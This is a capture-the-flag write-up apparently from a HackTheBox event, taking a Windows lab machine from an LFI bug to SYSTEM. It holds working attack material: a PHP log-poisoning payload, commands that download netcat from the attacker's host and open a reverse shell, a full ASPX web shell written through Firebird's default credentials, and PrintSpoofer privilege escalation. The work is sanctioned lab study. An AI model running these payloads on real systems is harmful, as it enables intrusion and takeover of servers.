135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8080/tcp  open  http          Apache httpd 2.4.48 ((Win64) PHP/8.0.7)
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

For this challenge, we are given a PHP application on the port 8080 hosted on Windows:

Fire home page

User flag

By analyzing the form of the links included on the home page, we notice a LFI (Local File Inclusion) vulnerability:

$ curl 'http://10.129.95.158:8080/' -s | grep '.php' -C3
         </header>

      <!-- Signup Form -->
         <form id="signup-form" method="post" action="process.php?path=submit.php">
            <input type="email" name="email" id="email" placeholder="Email Address" />
            <input type="submit" value="Sign Up" />
         </form>

We confirm it by trying to include well-known Windows files such as C:\Ẁindows\System32\drivers\etc\hosts.

By fuzzing files and directories, we also discover the file info.php that calls the function phpinfo():

$ ffuf -D -u http://10.129.95.158:8080/FUZZ -w dicc.txt -t 10 -fc 403
[...]

LICENSE.txt             [Status: 200, Size: 17128, Words: 2798, Lines: 64]
README.TXT              [Status: 200, Size: 2242, Words: 282, Lines: 67]
assets                  [Status: 301, Size: 241, Words: 14, Lines: 8]
assets/                 [Status: 200, Size: 362, Words: 27, Lines: 15]
images/                 [Status: 200, Size: 216, Words: 19, Lines: 11]
images                  [Status: 301, Size: 241, Words: 14, Lines: 8]
index.html              [Status: 200, Size: 1565, Words: 97, Lines: 46]
info.php                [Status: 200, Size: 66067, Words: 3239, Lines: 705]

We first thought we had to exploit the race between the path of temporary uploaded files (disclosed by phpinfo ) and the LFI vulnerability in order to make the application include our temporary uploaded PHP file and achieve remote code execution.

However, it turned out we can also include Apache access logs:

$ curl 'http://10.129.95.158:8080/process.php?path=C:/Apache24/logs/access.log' -s | head

10.10.14.9 - - [06/Jul/2021:01:16:28 -0700] "GET / HTTP/1.1" 200 1565
10.10.14.9 - - [06/Jul/2021:01:30:08 -0700] "GET /process.php?path=c:\\windows\\win.ini HTTP/1.1" 200 92
10.10.14.9 - - [06/Jul/2021:01:36:41 -0700] "GET /process.php?path=c:\\windows\\win.ini HTTP/1.1" 200 92
10.10.14.9 - - [06/Jul/2021:01:59:14 -0700] "GET /process.php?path=\\\\10.10.14.9\\aSD HTTP/1.1" 200 -
10.10.14.9 - - [06/Jul/2021:03:11:25 -0700] "GET /process.php?path=\\\\10.10.14.9\\aSD HTTP/1.1" 200 -
10.10.14.9 - - [06/Jul/2021:03:58:06 -0700] "GET / HTTP/1.1" 200 1565
10.10.14.9 - - [06/Jul/2021:03:58:07 -0700] "GET /assets/css/main.css HTTP/1.1" 200 22801

In that case, we can poison the access logs and make the application include it to execute arbitrary PHP code. As only the requested path is reflected on the access logs, we poisonned the logs by using PHP shorter tags with a spaceless payload by sending the following HTTP request:

GET /?path=<?=die(shell_exec($_GET['cmd']));?> HTTP/1.1
Host: 10.129.164.169:8080

We could then execute arbitrary commands by making the application include the poisoned logs:

$ curl 'http://10.129.95.158:8080/process.php?path=C:/Apache24/logs/access.log&cmd=whoami' -s | tail -n1

10.10.14.65 - - [26/Jul/2021:15:42:40 -0700] "GET /process.php?path=fire\dev

From there, we can retrieve the user flag:

$ curl 'http://10.129.95.158:8080/process.php?path=C:/Apache24/logs/access.log&cmd=type+C:\Users\dev\Desktop\user.txt' -s | tail -n1

10.10.14.65 - - [24/Jul/2021:07:03:50 -0700] "GET /process.php?path=HTB{DoN7_S7e4L_My_N7lm}

By reading the logs and the flag, we concluded that this was an unintended solution. In fact, the intended way was to exploit SMB paths that are not considered remote files by PHP in order to trigger an SMB connection, and break the NTLM challenge to obtain a user access to the target.

Root flag

Before searching for the next steps, we launched a reverse shell by downloading and executing a pre-built netcat:

$ python3 -m http.server 8080 --bind 10.10.14.65
Serving HTTP on 10.10.14.65 port 8080 (http://10.10.14.65:8080/) ...
10.129.95.158 - - [27/Jul/2021 00:47:57] "GET /nc.exe HTTP/1.1" 200 -


GET /process.php?path=C:/Apache24/logs/access.log&cmd=<@urlencode>powershell curl http://10.10.14.65:8080/nc.exe -o nc.exe<@/urlencode> HTTP/1.1
Host: 10.129.164.169:8080
     
GET /process.php?path=C:/Apache24/logs/access.log&cmd=<@urlencode>nc.exe 10.10.14.65 9999 -e powershell.exe<@/urlencode> HTTP/1.1
Host: 10.129.164.169:8080


$ nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.10.14.65] from (UNKNOWN) [10.129.95.158] 49676
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Apache24\htdocs> 

Note: @urlencode tags are handled by the Burp Suite's Hackvertor extension that automatically replaces each enclosed content with its URL encoded version.

The current user does not have useful privileges, so we search for running services and we notice the Firebird service:

PS C:\Program Files> dir
dir

    Directory: C:\Program Files

Mode                LastWriteTime         Length Name                                                             
----                -------------         ------ ----                                                             
d-----         7/5/2021   7:18 AM                Apache Software Foundation                                       
d-----         7/5/2021   6:59 AM                Common Files                                                     
d-----         7/5/2021   4:35 AM                Firebird   

PS C:\Program Files\Firebird> netstat -aon
netstat -aon

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       888
[...]
  TCP    10.129.95.158:139      0.0.0.0:0              LISTENING       4
  TCP    10.129.95.158:8080     10.10.14.65:59178      CLOSE_WAIT      2076
  TCP    10.129.95.158:49676    10.10.14.65:9999       ESTABLISHED     4692
  TCP    [::]:80                [::]:0                 LISTENING       4
  TCP    [::]:135               [::]:0                 LISTENING       888
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:3050              [::]:0                 LISTENING       2360

This service is only listening on the IPv6 address and on the TCP port 3050.

After reading the interesting blog post Firebird Database Exploitation, we deduce that we can exploit the Firebird feature that allows creating files under the IIS web applications directory, which is C:\inetpub\wwwroot.

In fact, as IIS is listening on the TCP port 80, as shown on the Nmap scan result, if we can execute arbitrary code under the IIS service account, we could use its SeImpersonate privilege in order to escalate our privileges and gain local Administrator privileges.

In order to perform network pivoting and to exploit the service only listening on IPv6, which is not exposed by the HackTheBox VPN, we setup a SOCKS server:

$ GET /process.php?path=C:/Apache24/logs/access.log&cmd=<@urlencode>powershell curl http://10.10.14.65:8080/revsocks.exe -o revsocks.exe<@/urlencode> HTTP/1.1
Host: 10.129.164.169:8080


$ ./revsocks -listen 10.10.14.65:9090 -pass 24098219308429084219084


GET /process.php?path=C:/Apache24/logs/access.log&cmd=<@urlencode>revsocks.exe -connect 10.10.14.65:9090 -pass [...]<@/urlencode> HTTP/1.1
Host: 10.129.164.169:8080

From there, we can use the Firebird SQL tools in order to communicate with the service through the SOCKS proxy. We notice the default credentials SYSDBA:masterkey are working:

$ apt install firebird3.0-utils

$ proxychains isql-fb

SQL> CONNECT [::1]/3050:a user 'SYSDBA' password 'masterkey';
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  ::1:3050  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  ::1:3050  ...  OK
Statement failed, SQLSTATE = 08001
I/O error during "CreateFile (open)" operation for file "a"
-Error while trying to open file
-The system cannot find the file specified. 
SQL> 

Then, we can use the database differential backup mode of Firebird, as stated in the blog post, in order to make the service create a file on the IIS working directory that contains an ASPX web shell:

> CREATE DATABASE '[::1]/3050:C:\non-existent-file33' user 'SYSDBA' password 'masterkey';
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  ::1:3050  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  ::1:3050  ...  OK
CREATE TABLE a( x blob);
ALTER DATABASE ADD DIFFERENCE FILE 'C:\inetpub\wwwroot\foo242424.aspx';
ALTER DATABASE BEGIN BACKUP;
INSERT INTO a VALUES ('<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
	ProcessStartInfo psi = new ProcessStartInfo();
	psi.FileName = "cmd.exe";
	psi.Arguments = "/c "+arg;
	psi.RedirectStandardOutput = true;
	psi.UseShellExecute = false;
	Process p = Process.Start(psi);
	StreamReader stmrdr = p.StandardOutput;
	string s = stmrdr.ReadToEnd();
	stmrdr.Close();
	return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
	Response.Write("<pre>");
	Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
	Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>');
COMMIT;
EXIT;

Once the backup file is created and the web shell is written, we are able to execute arbitrary commands as the IIS user:

IIS service user taken over

Finally, we create a reverse shell by using the same netcat pre-built binary and we use the PrintSpoofer technique in order to obtain and reuse a system user token to escalate our privileges by using the SeImpersonate privilege, and read the flag:

$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.14.65] from (UNKNOWN) [10.129.95.158] 49683
Microsoft Windows [Version 10.0.17763.1999]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv> cd C:\Windows\Temp

C:\Windows\Temp> powershell curl http://10.10.14.65:8080/printspoof.exe -o pspoof.exe
                             
C:\Windows\Temp>pspoof.exe -i -c powershell.exe
pspoof.exe -i -c powershell.exe
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
nt authority\system
PS C:\Windows\system32> type C:/Users/Administrator/Desktop/root.txt
type C:/Users/Administrator/Desktop/root.txt
HTB{Ph0EN1X_R1SEN_Fr0M_7he_4sHeS}

Conclusion

Overall, the challenges were quite enjoyable, most of them were based on real-word scenarios/vulnerabilities. The fact that each team had a dedicated infrastructure with their own Docker instances was much appreciated.

Thanks a lot to HTB staff for creating this event!

You can find more writeups on our Github repository.